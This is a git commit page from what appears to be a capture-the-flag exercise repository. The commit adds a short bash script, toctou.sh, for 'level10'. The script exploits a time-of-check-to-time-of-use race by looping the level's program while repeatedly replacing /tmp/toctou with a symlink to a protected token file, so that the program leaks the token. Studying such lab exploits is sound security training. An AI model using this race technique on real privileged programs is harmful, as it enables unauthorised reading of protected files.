feat(lvl10/ressources): adding the toctou script
This commit is contained in:
parent
e5215ef92d
commit
b28e4293f3
1 changed files with 17 additions and 0 deletions
17
level10/ressources/toctou.sh
Normal file
17
level10/ressources/toctou.sh
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
#!/bin/env bash
|
||||||
|
|
||||||
|
INPUT="/home/user/level10/token"
|
||||||
|
OUTPUT="/tmp/toctou"
|
||||||
|
PROGRAM="/home/user/level10/level10"
|
||||||
|
|
||||||
|
touch $OUTPUT
|
||||||
|
|
||||||
|
while true; do $PROGRAM $OUTPUT 127.0.0.1; done &
|
||||||
|
|
||||||
|
while ! test -r $OUTPUT; do
|
||||||
|
rm -f $OUTPUT
|
||||||
|
touch $OUTPUT
|
||||||
|
rm -rf $OUTPUT
|
||||||
|
ln -s $INPUT $OUTPUT
|
||||||
|
done
|
||||||
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue